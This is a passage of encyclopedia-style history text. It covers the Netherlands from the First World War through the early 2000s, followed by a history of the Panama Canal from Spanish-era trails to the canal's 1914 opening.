          But there were other factors that made it valuable for both the Allies and the Central Powers for the Netherlands to be neutral. The Netherlands controlled the mouths of three rivers, the Scheldt, the Rhine and the Meuse river. Germany had interest in the Rhine since it was connected to the industrial area the Ruhr and connected it with the Dutch port of Rotterdam. England had interest in the Scheldt river, and the Meuse went into France. All countries had interest in keeping the other out of the Netherlands, so no ones interest could be taken away or be changed. In case one country would invade the Netherlands, another one would surely counter- attack to defend their interest in the rivers. It was too big a risk for any of the belligerent nations, no one wanted to risk fighting on another front..


          Yet, the Dutch were not uneffected by the war. The troops were mobilised and conscription was introduced under harsh criticism of the opposition parties. Food shortages were vast due to the control that the belligerents excerised on the Dutch. Each wanted their share of the Dutch product. That way potatoes became valuable because Britain had demanded so much from the Dutch. Food riots even broke out in the country..


          A big problem was the smuggling. When Germany had conquered Belgium, the Allies saw it as enemy territory and stopped exporting to Belgium. Food became rare for the Belgian people, for the Germans seized all food and it gave the opportunity for the Dutch citizens to start to smuggle. This, however, caused great problems in the Netherlands, including inflation and more food shortages. The Allies demanded that the Dutch would stop the smuggling, and the government took measures to remain neutral. The government placed many cities under 'state of siege'. On January 8 1916, a five kilometre zone was created by the government along the border. In that zone, goods could only be moved on the main roads, with a permit.


          


          Between the Wars


          Although both houses of the Dutch parliament were elected by the people, only men with high incomes were eligible to vote until 1917, when pressure from socialist movements resulted in elections in which all men were allowed to vote. In 1919 women also got the right to vote.


          The worldwide Great Depression of 1929 and the early 1930s had crippling effects on the Dutch economy, which lasted longer than they did in most European countries. The long duration of the Great Depression in the Netherlands is often explained by the very strict fiscal policy of the Dutch government at the time, and its decision to adhere to the Gold Standard much longer than most of its trading partners. The depression led to large unemployment and poverty, as well as increasing social unrest (for more details: the Great Depression in the Netherlands). The rise of Nazism in Germany did not go unnoticed in the Netherlands, and there was growing concern over the possibility of armed conflict, but most Dutch citizens thought that Germany would again respect Dutch neutrality.


          


          World War II
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          At the outbreak of World War II in 1939, the Netherlands declared their neutrality again. However, on May 10, 1940, Nazi Germany launched an attack on the Netherlands and Belgium and overran most of the country quickly, fighting against a poorly-equipped Dutch army. By May 14, fighting was only occurring in isolated locations, when the Luftwaffe bombed Rotterdam, the second largest city of the Netherlands, killing about 900 people, destroying large parts of the city, and leaving 78,000 homeless. Following the bombardment and German threats of the same for Utrecht, the Netherlands capitulated on May 15 (except the province of Zeeland). The royal family and some military forces fled to the United Kingdom. Some members of the royal family eventually moved to Ottawa, Canada until the Netherlands was liberated; Princess Margriet was born during this Canadian exile.


          About 140,000 Jews lived in the Netherlands at the beginning of the war; persecution of the Jews started shortly after the invasion. At the end of the war, only 40,000 Jews were alive. Of the 100,000 Jews that didn't hide, only 1000 survived the war. One who perished was Anne Frank, who would gain posthumous world-wide fame when her diary, written in the Achterhuis (backhouse) while hiding from the Nazis, was found and published.


          Resentment about the German presence grew as the occupation regime became harsher, prompting many Dutch to join the resistance. However, collaboration was not uncommon either; many thousands of young Dutch males also volunteered for combat service on the Russian Front with the Waffen-SS.


          Japanese forces invaded the Dutch East Indies on January 11, 1942. The Dutch surrendered on March 8, after Japanese troops landed on Java. Dutch citizens were captured and put to work in labour camps. However, many Dutch ships and military personnel managed to reach Australia, from where they were able to fight the Japanese.


          In Europe, after the Allies landed in Normandy in June 1944, progress was slow until the Battle of Normandy ended in August 1944. As German resistance collapsed in western Europe, the allies advanced quickly towards the Dutch border. First Canadian Army and the 2nd British Army conducted major operations on Dutch soil beginning in September. On 17 September a daring operation, Operation Market Garden, was executed with the goal of capturing bridges across three major rivers in the southern Netherlands. Despite desperate fighting by American, British and Polish forces, the bridge at Arnhem, across the Neder Rijn, could not be captured. However, areas south of the Neder Rijn were liberated in the period SeptemberNovember 1944, including the province of Zeeland which was liberated in the Battle of the Scheldt. However, the rest of the country, with a major part of the population, remained occupied until the spring of 1945. The winter 19441945 was very harsh, and many Dutch starved, giving the winter the name Hongerwinter (Hunger winter). On May 5, 1945, a beaten Nazi Germany finally capitulated, signing the surrender to the Dutch at Wageningen. After the war, Artur Seyss-Inquart, the Nazi Commissioner of the Netherlands, was tried at Nuremberg.


          


          Post-war years
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          Two days after the surrender of Japan, Indonesian nationalists declared Indonesian independence. The Indonesian National Revolution followed as Indonesia attempted to secure its independence in the face of Dutch diplomatic and military opposition. Increasing international pressure led the Netherlands to eventually withdraw and it formally recognised Indonesian independence on December 27, 1949. Part of the former Dutch East Indies, namely the western part of New Guinea, remained under Dutch control as Netherlands New Guinea until 1961, when the Netherlands transferred sovereignty to Indonesia.


          About 300,000 Dutch colonists left the land where most of them were born, and settled in the motherland; very few of the native population did. Although it was originally expected that the loss of the Indies would contribute to an economic downfall, nothing of the kind happened. The Dutch economy experienced an exceptional growth (partly because a disproportionate amount of Marshall Aid was received) in the 1950s and 60s. In fact, the demand for labour was so strong that immigration was actively encouraged, first from Italy and Spain then later on, in larger numbers, from Turkey and Morocco.


          Suriname was decolonised on November 25, 1975, this time encouraged by the Dutch government, partly because it wanted to stem the flow of immigrants from Suriname, partly because the very possession of colonies had become politically embarrassing; however, hundreds of thousands of inhabitants of Suriname voted with their feet against it, creating a Suriname community in the Netherlands, now roughly as large as the population of the motherland.


          Combined with the immigration from the Netherlands Antilles, and from many other parts of the world, the Netherlands was becoming a multicultural country.


          In the early post-war years the Netherlands made continued attempts to expand its territory by annexing neighbouring German territory. The larger annexation plans were continuously rejected by the United States, but the London conference of 1949 permitted the Netherlands to perform a smaller scale annexation. Most of the annexed territory was returned to Germany on August 1, 1963.


          Operation Black Tulip was a plan in 1945 by Dutch minister of Justice Kolfschoten to evict all Germans from the Netherlands. The operation lasted from 1946 to 1948 and in the end 3691 Germans (15% of Germans resident in the Netherlands) were deported.


          The operation started on 10 September 1946 in Amsterdam, where Germans and their families were taken from their homes in the middle of the night and given one hour to collect 50 kg of luggage. They were allowed to take 100 Guilders. The rest of their possessions went to the state. They were taken to concentration camps near the German border, the biggest of which was Marinbosch near Nijmegen.


          The last major flood in the Netherlands took place in early February 1953, when a huge storm caused the collapse of several dikes in the southwest of the Netherlands. More than 1,800 people drowned in the ensuing inundations. The Dutch government subsequently decided on a large-scale programme of public works (the " Delta Works") to protect the country against future flooding. The project took more than thirty years to complete. According to Dutch government engineers, the odds of a major inundation anywhere in the Netherlands are now 1 in 10,000 per year. Following the disaster with hurricane Katrina in 2005, an American congressional delegation visited the Netherlands to inspect the Delta Works and Dutch government engineers were invited to a hearing of the United States Congress to explain the Netherlands' efforts to protect low-lying areas.


          The 60s and 70s were a time of great social and cultural change, such as rapid ontzuiling (literally: depillarisation), a term that describes the decay of the old divisions along class and religious lines. Youths, and students in particular, rejected traditional mores, and pushed for change in matters like women's rights, sexuality, disarmament and environmental issues. Today, the Netherlands is regarded as a liberal country, considering its drugs policy and its legalisation of euthanasia. Same-sex marriage has been permitted since 1 April 2001.


          In 1952, the Netherlands were among the founders of the European Coal and Steel Community, which evolved into the European Union. The Netherlands is an industrialised nation but also a large exporter of agricultural products. The country was a founding member of NATO and participated in the introduction of the euro in 1999. In recent years the Dutch have often been a driving force behind the integration of European countries in the European Union.


          Two events changed the political landscape:


          - On 6 May 2002, the murder of a right-wing populist Pim Fortuyn, calling for a very strict policy on immigration, shocked the nation, not all used to political violence in peace time. His party won a landslide election victory, partly because of his perceived martyrdom, However, internal party squabbles and blowing up the coalition government they had helped to create, resulted in the loss of 70% of their support in early general elections in 2003. Other minor right-wing parties would later emerge.


          - Another murder that caused great upheaval took place on 2 November 2004, when film director and publicist Theo van Gogh was assassinated by a Dutch-Moroccan youth with radical Islamic beliefs, because of Van Gogh's alleged blasphemy. One week later, several arrests were made of several would-be islamist terrorists, who have later been found guilty of conspiracy with terrorist intentions, this verdict was however reverse on appeal. All this sparked a debate on the position of radical Islam and of Islam generally in Dutch society, and on immigration and integration. The personal protection of most politicians, especially of the Islam critic Ayaan Hirsi Ali, was stepped up to unprecedented levels.
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        History of the Panama Canal


        
          

          The history of the Panama Canal goes back almost to the earliest explorers of the Americas. The narrow land bridge between North and South America offers a unique opportunity to create a water passage between the Atlantic and Pacific oceans. This potential was recognised by the earliest colonists of Central America, and schemes for such a canal were floated several times in the subsequent years.


          By the late-1800s, technological advances and commercial pressure advanced to the point where construction started in earnest. An initial attempt by France to build a sea-level canal failed, but only after a great amount of excavation was carried out. This was of use to the effort by the United States which finally resulted in the present Panama Canal in 1914. Along the way, the nation of Panama was created through its separation from Colombia in 1903.


          Today, the canal continues to be not only a viable commercial venture, but also a vital link in world shipping.


          


          Pre-canal timeline


          The strategic location of the Panama canal and the short distance between the oceans there, have prompted many attempts over the centuries to forge a trading route between the oceans. Although all of the early schemes involved a land route linking ports on either coast, speculation on a possible canal goes back to the earliest days of European exploration of Panama.


          


          The Spanish era


          In 1514, Vasco Nez de Balboa, the first European to see the eastern Pacific, built a crude road which he used to haul his ships from Santa Mara la Antigua del Darin on the Atlantic coast of Panama to the Bay of San Miguel and the Mar del Sur (Pacific). This road was about 30 - 40miles (64km) long, but was soon abandoned.


          In November 1515, Captain Antonio Tello de Guzmn discovered a trail crossing the isthmus from the Gulf of Panama to Porto Bello, past the site of the abandoned town of Nombre de Dis. This trail had been used by the natives for centuries, and was well laid out. It was improved and paved by the Spaniards, and became El Camino Real. This road was used to haul looted gold to the warehouse at Porto Bello for transportation to Spain, and was the first major cargo crossing of the Isthmus of Panama.


          In 1534, Charles V, Holy Roman Emperor and king of Spain, suggested that by cutting a piece of land somewhere in Panama, the trips from Ecuador and Peru would be made shorter and allow for a quicker and less risky trip back and forth to Spain for ships carrying goods, especially gold. A survey of the isthmus and a working plan for a canal were drawn up in 1529. The European political situation and level of technology at the time made this impossible.


          The road from Porto Bello to the Pacific had its problems, and in 1533, Licentiate Gaspar de Espinosa recommended to the king that a new road be built. His plan was to build a road from the town of Panam, which was the Pacific terminus of El Camino Real, to the town of Cruces, on the banks of the Chagres River and about 20miles (32km) from Panam. Once on the Chagres River, boats would carry cargo to the Caribbean. This road was built, and was known as El Camino a Cruces, the Las Cruces Trail. At the mouth of the Chagres, the small town of Chagres was fortified, and the fortress of San Lorenzo was built on a bluff, overlooking the area. From Chagres, treasures and goods were transported to the king's warehouse in Porto Bello, to be stored until the treasure fleet left for Spain.


          This road lasted many years, and was even used in the 1840s by gold prospectors heading for the California Gold Rush.


          


          The Scottish attempt


          In July, 1698, five ships left Leith, in Scotland, in an attempt to establish a colony in the Darin, as a basis for a sea and land trading route to China and Japan. The colonists arrived on the coast of Darin in November, and claimed it as the Colony of Caledonia. However, the expedition was ill-prepared for the hostile conditions, badly led, and ravaged by disease; the colonists finally abandoned New Edinburgh, leaving four hundred graves behind.


          Unfortunately, a relief expedition had already left Scotland, and arrived at the colony in November 1699, but faced the same problems, as well as attack and then blockade by the Spaniards. Finally, on April 12, 1700, Caledonia was abandoned for the last time, ending this disastrous venture.


          


          The Panama Railway


          While the Camino Real, and later the Las Cruces trail, served communication across the isthmus for over three centuries, by the 19th century it was becoming clear that a cheaper and faster alternative was required. Given the difficulty of constructing a canal with the available technology, a railway seemed an excellent opportunity.


          Studies were carried out to this end as early as 1827; several schemes were proposed, and foundered for want of capital. However, by the middle of the century, several factors turned in favour of a link: the acquisition of Upper California by the United States in 1848, and the increasing movement of settlers to the west coast, created a demand for a fast route between the oceans, which was fuelled even farther by the discovery of gold in California.


          The Panama Railway was built across the isthmus from 1850 to 1855, running 47miles (76km) from Coln, on the Atlantic Coast, to Panama City on the Pacific. The project was an engineering marvel of its age, carried out in brutally difficult conditions. Although there is no way of knowing the exact number of workers who died during construction, estimates range from 6,000 to as high as 12,000 killed, many, of them from cholera and malaria.


          Until the opening of the Panama Canal, the railway carried the heaviest volume of freight per unit length of any railroad in the world. The existence of the railway was key in the selection of Panama as the site of the canal.


          


          The French project
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          The idea of building a canal across Central America was suggested again by German scientist Alexander von Humboldt, which led to a revival of interest in the early-19th century. In 1819, the Spanish government authorized the construction of a canal and the creation of a company to build it.


          The project stalled for some time, but a number of surveys were carried out between 1850 and 1875. The conclusion was that the two most favorable routes were those across Panama (then a part of Colombia) and across Nicaragua, with a route across the Isthmus of Tehuantepec in Mexico as a third option. The Nicaragua route was seriously considered and surveyed.


          


          Conception


          After the successful completion of the Suez Canal in 1869, the French were inspired to tackle the apparently similar project to connect the Atlantic and Pacific oceans, and were confident that this could be carried out with little difficulty. In 1876, an international company, La Socit internationale du Canal interocanique, was created to undertake the work; two years later, it obtained a concession from the Colombian government, which then controlled the land, to dig a canal across the isthmus.


          Ferdinand de Lesseps, who was in charge of the construction of the Suez Canal, was the figurehead of the scheme. His enthusiastic leadership, coupled with his reputation as the man who had brought the Suez project to a successful conclusion, persuaded speculators and ordinary citizens to invest in the scheme, ultimately to the tune of almost $400 million.


          However, de Lesseps, despite his previous success, was not an engineer. The construction of the Suez Canal, essentially a ditch dug through a flat, sandy desert, presented few challenges; but Panama was to be a very different story. The mountainous spine of Central America comes to a low point at Panama, but still rises to a height of 110 metres (360 ft) above sea level at the lowest crossing point. A sea-level canal, as proposed by de Lesseps, would require a prodigious excavation, and through varied hardnesses of rock rather than the easy sand of Suez.


          A less obvious barrier was presented by the rivers crossing the canal, particularly the Chagres River, which flows very strongly in the rainy season. This water could not simply be dumped into the canal, as it would present an extreme hazard to shipping; and so a sea-level canal would require the river, which cuts right across the canal route, to be diverted.


          The most serious problem of all, however, was tropical disease, particularly malaria and yellow fever. Since it was not known at the time how these diseases were contracted, any precautions against them were doomed to failure. For example, the legs of the hospital beds were placed in tins of water to keep insects from crawling up; but these pans of stagnant water made ideal breeding places for mosquitoes, the carriers of these two diseases, and so worsened the problem.


          From the beginning, the project was plagued by a lack of engineering expertise. In May 1879, an international engineering congress was convened in Paris, with Ferdinand de Lesseps at its head; of the 136 delegates, however, only 42 were engineers, the others being made up of speculators, politicians, and personal friends of de Lesseps.


          De Lesseps was convinced that a sea-level canal, dug through the mountainous, rocky spine of Central America, could be completed as easily as, or even more easily than, the Suez Canal. The engineering congress estimated the cost of the project at $214,000,000; on February 14, 1880, an engineering commission revised this estimate to $168,600,000. De Lesseps twice reduced this estimate, with no apparent justification; on February 20 to $131,600,000, and again on March 1 to $120,000,000. The engineering congress estimated seven or eight years as the time required to complete the work; de Lesseps reduced the time to six years, as compared to the ten years required for the Suez Canal.


          The proposed sea level canal was to have uniform depth of 9 metres (29.5 ft), a bottom width of 22 metres (72 ft), and a width at water level of about 27.5 metres (90 ft), and involved excavation estimated at 120,000,000 m (157,000,000 cubic yards). It was proposed that a dam be built at Gamboa to control the flooding of the Chagres river, along with channels to carry water away from the canal. However, the Gamboa dam was later found to be impracticable, and the Chagres River problem was left unresolved.


          


          Construction begins


          Construction of the canal began on January 1, 1882, though digging at Culebra did not begin until January 22, 1882 . A huge labour force was assembled; in 1888, this numbered about 20,000 men, nine-tenths of these being afro-Caribbean workers from the West Indies. Although extravagant rewards were given to French engineers who joined the canal effort, the huge death toll from disease made it difficult to retain them  they either left after short service, or died. The total death toll between 1881 and 1889 was estimated at over 22,000.


          Even as early as 1885, it had become clear to many that a sea-level canal was impractical, and that an elevated canal with locks was the best answer; however, de Lesseps was stubborn, and it was not until October 1887 that the lock canal plan was adopted.


          By this time, however, the mounting financial, engineering and mortality problems, coupled with frequent floods and mudslides, were making it clear that the project was in serious trouble. Work was pushed forward under the new plan until May 1889, when the company became bankrupt, and work was finally suspended on May 15, 1889. After eight years, the work was about two-fifths completed, and some $234,795,000 had been spent.


          The collapse of the company was a major scandal in France, and the role of two Jewish speculators in the affair enabled Edouard Drumont, an anti-semite, to exploit the matter. 104 legislators were found to have been involved in the corruption and Jean Jaurs was commissioned by the French parliament to conduct an inquiry into the matter, completed in 1893 .


          


          New French Canal Company


          It soon became clear that the only way to salvage anything for the stockholders was to continue the project. A new concession was obtained from Colombia, and in 1894 the Compagnie Nouvelle du Canal de Panama was created to finish the construction. In order to comply with the terms of the concession, work started immediately on the Culebra excavation  which would be required under any possible plans  while a team of competent engineers began a comprehensive study of the project. The plan eventually settled on was for a two-level, lock-based canal.


          The new effort never really gathered momentum; the main reason for this was the speculation by the United States over a canal built through Nicaragua, which would render a Panama canal useless. The largest number of men employed on the new project was 3,600, in 1896; this minimal workforce was employed primarily to comply with the terms of the concession and to maintain the existing excavation and equipment in salable condition  the company had already started looking for a buyer, with a price tag of $109,000,000.


          Meanwhile, in the U.S., the Isthmian Canal Commission was established in 1899 to examine the possibilities of a Central American canal and to recommend a route. In November 1901, the commission reported that a U.S. canal should be built through Nicaragua unless the French were willing to sell out at $40,000,000. This recommendation became a law on June 28, 1902, and the New Panama Canal Company was practically forced to sell for that amount or get nothing.


          


          The French achievement


          Although the French effort was to a large extent doomed to failure from the beginning  due to the unsolved disease issue, and insufficient appreciation of the engineering difficulties  its work was, nevertheless, not entirely wasted. Between the old and new companies, the French in total excavated 59,747,638 m (78,146,960 cubic yards) of material, of which 14,255,890 m (18,646,000 cubic yards) were taken from the Culebra Cut. The old company dredged a channel from Panama Bay to the port at Balboa; and the channel dredged on the Atlantic side, known as the French canal, was found to be useful for bringing in sand and stone for the locks and spillway concrete at Gatn.


          The detailed surveys and studies, particularly those carried out by the new canal company, were of great help to the later American effort; and considerable machinery, including railroad equipment and vehicles, were of great help in the early years of the American project.


          In all, it was estimated that 22,713,396 m (29,708,000 cubic yards) of excavation were of direct use to the Americans, valued at $25,389,240, along with equipment and surveys valued at $17,410,586.


          


          Nicaragua


          The discovery of gold in California in 1848 and the rush of would-be miners stimulated U.S. interest in creating a canal between the oceans. In 1887, a U.S. regiment went to survey canal possibilities in Nicaragua. In 1889, the Maritime Canal Company was asked to begin creating a canal in the area, and it chose Nicaragua. The company lost its funding in 1893 as a result of a stock panic, and canal work ceased in Nicaragua. In both 1897 and 1899, Congress charged a Canal Commission to look into possible construction, and Nicaragua was chosen as the location both times.


          The Nicaraguan Canal proposal was finally made redundant by the American takeover of the French Panama Canal project. However, the increase in modern shipping, and the increasing sizes of ships, have revived interest in the project; there are fresh proposals for either a modern-day canal across Nicaragua capable of carrying post- Panamax ships, or a rail link carrying containers between ports on either coast.


          


          The United States and the canal


          Theodore Roosevelt, who became president of the United States in 1901, believed that a U.S.-controlled canal across Central America was a vital strategic interest to the U.S. This idea gained wide impetus following the destruction of the battleship USS Maine, in Cuba, on February 15, 1898. The USS Oregon, a battleship stationed in San Francisco, was dispatched to take her place, but the voyage  around Cape Horn  took 67 days. Although she was in time to join in the Battle of Santiago Bay, the voyage would have taken just three weeks via Panama..


          Roosevelt was able to reverse a previous decision by the Walker Commission in favour of a Nicaragua Canal, and pushed through the acquisition of the French Panama Canal effort. Panama was then part of Colombia, so Roosevelt opened negotiations with the Colombians to obtain the necessary rights. In early 1903, the Hay-Herran Treaty was signed by both nations, but the Colombian Senate failed to ratify the treaty.


          In a controversial move, Roosevelt implied to Panamanian rebels that if they revolted, the U.S. Navy would assist their cause for independence. Panama proceeded to proclaim its independence on November 3, 1903, and the USS Nashville in local waters impeded any interference from Colombia (see gunboat diplomacy).


          The victorious Panamanians returned the favour to Roosevelt by allowing the United States control of the Panama Canal Zone on February 23, 1904, for US$10 million (as provided in the Hay-Bunau-Varilla Treaty, signed on November 18, 1903).


          


          The takeover


          The United States formally took control of the French property relating to the canal on May 4, 1904, when Lieutenant Jatara Oneel of the United States Army was presented with the keys; there was a little ceremony.


          The newly-created Panama Canal Zone Control came under the control of the Isthmian Canal Commission during canal construction.


          


          Making sense of the task


          The Americans had bought the canal essentially as a running operation, and indeed the first step taken was to place all of the canal workers in the employ of the new administration. However, this was not as helpful to the project as it may have seemed, as the operation was at that point being maintained at essentially minimum strength, in order to comply with the canal's concession and keep the plant in working order.


          The Americans therefore inherited a small workforce, but also a great jumble of buildings, infrastructure and equipment, much of which had been the victim of fifteen years of neglect in the harsh, humid jungle environment. There were virtually no facilities in place for a large workforce, and the infrastructure was crumbling. The early years of American work therefore produced little in terms of real progress, but were in many ways the most crucial and most difficult of the project.


          The task of cataloguing the assets was a huge one; it took many weeks simply to card-index the available equipment. 2,148 buildings had been acquired, many of which were completely uninhabitabl, and housing was at first a significant problem. The Panama Railway was in a severe state of decay. Still, there was a great deal that was of significant use; many locomotives, dredges and other pieces of floating equipment were put to good use by the Americans throughout their construction effort.


          John Findley Wallace was elected chief engineer of the canal on 6 May 1904, and immediately came under pressure to "make the dirt fly". However, the initial over-bureaucratic oversight from Washington stifled his efforts to get large forces of heavy equipment in place rapidly, and caused a great deal of friction between Wallace and the commission. Both Wallace and Gorgas, determined to make great strides as rapidly as possible, found themselves frustrated by delay and red tape at every turn; finally, in 1905, Wallace resigned.


          


          Setting the course
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          Wallace was replaced as chief engineer by John Frank Stevens, who arrived on the isthmus on July 26, 1905. Stevens rapidly realised that a serious investment in infrastructure was necessary, and set to upgrading the railway, improving sanitation in the cities of Panam and Coln, remodelling all of the old French buildings, and building hundreds of new ones to provide housing. He then undertook the task of recruiting the huge labour force required for the building of the canal. Given the unsavoury reputation of Panama by this time, this was a difficult task, but recruiting agents were dispatched to the West Indies, to Italy, and to Spain, and a supply of workers was soon arriving at the isthmus.


          Like Wallace before him, Stevens found the red tape vexing; but his approach was to press ahead anyway, and get approval later. He improved the drilling and dirt removal equipment at the Culebra Cut, with a great improvement in efficiency. He also revised the inadequate provisions for the disposal of the vast quantities of soil that were to be excavated.


          Even at this date, no decision had been taken regarding whether the canal should be a lock canal or a sea-level canal  the excavation that was under way would be useful in either case. Towards the end of 1905, President Roosevelt sent a team of engineers to Panama to investigate the relative merits of both schemes, as regards their costs and time requirements. The engineers decided in favour of a sea-level canal, by a vote of eight to five; but the Canal Commission, and Stevens himself, opposed this scheme, and Stevens' report to Roosevelt was instrumental in convincing the president of the merits of a lock-based scheme. The Senate and house of Representatives ratified the lock-based scheme, and work was free to formally continue under this plan.


          In November 1906, Roosevelt visited Panama to inspect the canal's progress. This was the first trip outside the United States by a sitting President.


          Another controversy from this time was whether the canal work should be carried out by contractors, or by the U.S. government itself. Opinions were strongly divided, but Stevens eventually came to favour the direct approach, and this was the one finally adopted by Roosevelt. However, Roosevelt also decided that army engineers should carry out the work, and appointed Major George Washington Goethals as chief engineer under the direction of Stevens in February 1907.


          Stevens was already frustrated by the administrative situation, and the decision to involve the army at this level may have been the last straw; in any case, he resigned, and was replaced by Goethals. For an excellent book on these early years see: Mellander, Gustavo A. (1971) The United States in Panamanian Politics: The Intriguing Formative Years. Danville, Ill.: Interstate Publishers. OCLC 138568.


          


          Dealing with disease


          


          Living conditions


          The canal zone originally had very minimal facilities for entertainment and relaxation for the canal workers, except the saloons; as a result, the men drank heavily largely because there was nothing else to do, and drunkenness was a great problem. The generally unfriendly conditions resulted in many American workers returning home each year.


          It was clear that conditions had to be improved if the project was to succeed; so a program of improvements was put in place. To begin with, a number of club houses were built, managed by the YMCA, which contained billiard rooms, an assembly room, a reading room, bowling alleys, dark rooms for the camera clubs, gymnastic equipment, an ice cream parlor and soda fountain, and a circulating library. The members' dues were only ten dollars a year; the remaining deficit (of about $7,000, at the larger club houses) was paid by the Commission.


          Baseball grounds were built by the commission, and special trains were laid on to take people to matches; a very competitive league soon developed. Fortnightly Saturday night dances were held at the Hotel Tivoli, which had a spacious ballroom.


          These measures had a marked influence on life in the canal zone; drunkenness fell off sharply, and the saloon trade dropped by sixty per cent. Crucially, the number of workers leaving the project each year dropped significantly.


          


          Construction in earnest
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          The work that had been done to this point was unimpressive in terms of actual construction, but in terms of preparation, absolutely essential. By the time Goethals took over, all of the infrastructure for the construction had been created, or at least greatly overhauled and expanded from the original French effort, which eased his task considerably; and he was soon able to start making real progress with the construction effort. He divided the project into three divisions: Atlantic, Central and Pacific.


          
            	The Atlantic division, under Major William L. Sibert, was responsible for construction of the massive breakwater at the entrance to Limon Bay, the Gatun locks and their 5.6 km (3.5 mile) approach channel, and the immense Gatun Dam.


            	The Pacific Division, under Sydney B. Williamson (the only civilian member of this high-level team), was similarly responsible for the Pacific entrance to the canal, including a 4.8 km (3 mile) breakwater in Panama Bay, the approach channel, and the Miraflores and Pedro Miguel locks and their associated dams.


            	The Central division, under Major David du Bose Gaillard, was responsible for everything in between; in particular, it had arguably the greatest challenge of the whole project  the excavation of the Gaillard Cut, one of the greatest engineering tasks of its time, which involved cutting 8miles (13km) through the continental divide down to a level 12 metres (40 ft) above sea level.

          


          By August 1907, 765,000 m(1,000,000 cubic yards) per month was being excavated, which was a record for the difficult rainy season; not long after, this was doubled, and then increased again; at the peak of productivity, 2,300,000 m (3,000,000 cubic yards) were being excavated per month (in terms of pure excavation, this is equivalent to digging a Channel Tunnel every 3 months!). Never in the history of construction work had so much material been removed so quickly.


          


          The Gaillard Cut


          One of the greatest barriers to a canal was the continental divide, which originally rose to 110 metres (360 ft) above sea level at its highest point; the effort to create a cut through this barrier of rock was clearly one of the greatest challenges faced by the project, and indeed gave rise to one of the greatest engineering feats of its time.


          When Goethals arrived at the canal he had brought with him Major David du Bose Gaillard, of the U.S. Army Corps of Engineers. Gaillard was placed in charge of the central district of the canal, which stretched from Pedro Miguel Locks to the Gatun Dam, and dedicated himself to the job of getting the Culebra Cut, as it was then known, excavated.
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          The scale of the work was massive: six thousand men worked in the cut, drilling holes in which were placed a total of 27 thousand tonnes (60 million pounds) of dynamite to break up the rock, which was then taken away by as many as 160 trains in a day. Landslides were a frequent and major problem, due to the oxidation and weakening of the underlying iron strata in the rock. The scale of the job, and the frequent unpredictable slides, tended towards chaos; but Gaillard overcame the difficulties with quiet, clear-sighted leadership.


          On May 20, 1913, steam shovels made a passage through the Culebra Cut at the level of the canal bottom. The French effort had reduced the summit to 59 metres (193 ft), but over a relatively narrow width; the Americans had lowered this to 12 metres (40 ft) above sea level, over a much greater width, and had excavated over 76 million m (100 million cubic yards) of material. Some 23,000,000 m (30,000,000 cubic yards) of this material was additional to the planned excavation, having been brought into the cut by the landslides.


          Dry excavation ended on September 10, 1913; a slide in January had brought 1,500,000 m (2,000,000 cubic yards) of earth into the cut, but it was decided that this loose material would be removed by dredging once the cut was flooded.


          


          The dams


          Two artificial lakes form key parts of the canal; Lake Gatun and Miraflores Lake. Four dams were constructed to create these lakes:


          
            	two small dams at Miraflores impound Miraflores Lake;


            	a dam at Pedro Miguel encloses the south end of the Gaillard Cut, which is essentially an arm of Lake Gatun;


            	the Gatun Dam is the main dam blocking the original course of the Chagres River and creating Lake Gatun.

          


          The two dams at Miraflores are an earth dam, 825 metres (2,700 ft) long, connecting with Miraflores Locks from the west, and a concrete spillway dam 150 metres (500 ft) long to the east of the locks. The concrete east dam has eight regulating gates similar to those on the Gatun Spillway.


          The dam at Pedro Miguel is of earth, and is 430 metres (1,400 ft) long, extending from a hill on the west to the lock. The face of the dam is protected by rock riprap at the water level.


          By far the largest of the dams, and by far the most demanding, was the Gatun Dam, which created and impounds Lake Gatun. This huge earthen dam, which is 640 metres (2,100 ft) thick at the base and 2,300 metres (7,500 ft) long along the top, was the largest of its kind in the world when the canal opened.


          


          The locks
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          The project of building the locks began with the first concrete laid at Gatun, on August 24, 1909.


          The locks at Gatun are built into a cutting made in a hill bordering the lake, which required the excavation of 3,800,000 m (5,000,000 cubic yards) of material, mostly rock. The locks themselves were made of 1,564,400 m (2,046,100 cubic yards) of concrete; an extensive system of electric railways and overhead cableways were used to transport concrete into the lock construction sites.


          The Pacific-side locks were finished first; the single flight at Pedro Miguel in 1911 and Miraflores in May 1913. The seagoing tug Gatun, an Atlantic entrance working tug used for hauling barges, had the honour on September 26, 1913, of making the first trial lockage of Gatun Locks. The lockage went perfectly, although all valves were controlled manually since the central control board was still not ready.


          


          Opening
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          On October 10, 1913, the dike at Gamboa, which had kept the Culebra Cut isolated from Gatun Lake, was demolished; the initial detonation was set off telegraphically by President Woodrow Wilson in Washington. On January 7, 1914, the Alexandre La Valley, an old French crane boat, became the first ship to make a complete transit of the Panama Canal under its own steam.


          As construction tailed off, the canal team began to disperse. Thousands of workers were laid off; entire towns were either disassembled or demolished. Gorgas left to help fight pneumonia in the South African gold mines, and went on to become surgeon general of the Army. On April 1, 1914, the Isthmian Canal Commission ceased to exist and the zone came under a new Canal Zone Governor; the first holder of this office was Colonel Goethals.


          A grand celebration was originally planned for the official opening of the canal, as befits so great an effort which had aroused strong feelings in the United States for many years. However, the great opening never occurred. The outbreak of World War I forced cancellation of the main festivities, and the grand opening became a modest local affair. The Canal cement boat Ancon, piloted by Captain John A. Constantine, the Canal's first pilot, made the first official transit of the canal on August 15, 1914. There were no international dignitaries in attendance; Goethals followed the Ancon's progress from shore, by railroad.


          


          Taking stock of the project
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          When the canal opened, it was a technological marvel. The canal was an important strategic and economic asset to the U.S., and revolutionized world shipping patterns; the opening of the canal removed the need for ships to travel the long and dangerous route via the Drake Passage and Cape Horn (at the southernmost tip of South America). The canal saves a total of about 7,800 miles (12,500 km) on a trip from New York to San Francisco by sea.


          The anticipated military significance of the canal was proven in World War II, when the United States used the canal to help revitalize their devastated Pacific Fleet . Some of the largest ships the United States had to send through the canal were aircraft carriers, in particular the Essex class. These were so large that, although the locks could hold them, the lamp-posts that lined the canal had to be removed.


          The Panama Canal cost the United States around $375,000,000, including the $10,000,000 paid to Panama and the $40,000,000 paid to the French company. It was the single most expensive construction project in United States history to that time; remarkably, however, it was actually some $23,000,000 below the 1907 estimate, in spite of landslides and a design change to a wider canal. An additional $12,000,000 was spent on fortifications.


          More than 75,000 men and women worked on the project in total; at the height of construction, there were 40,000 workers working on it. According to hospital records, 5,609 workers died from disease and accidents during the American construction era.


          A total of 182,610,550 m (238,845,587 cubic yards) of material were excavated in the American effort, including the approach channels at both ends of the canal. Adding the work inherited from the French, the total excavation required by the canal was around 204,900,000 m (268,000,000 cubic yards). This is equivalent to over 25 times the excavation done in the Channel Tunnel project.


          

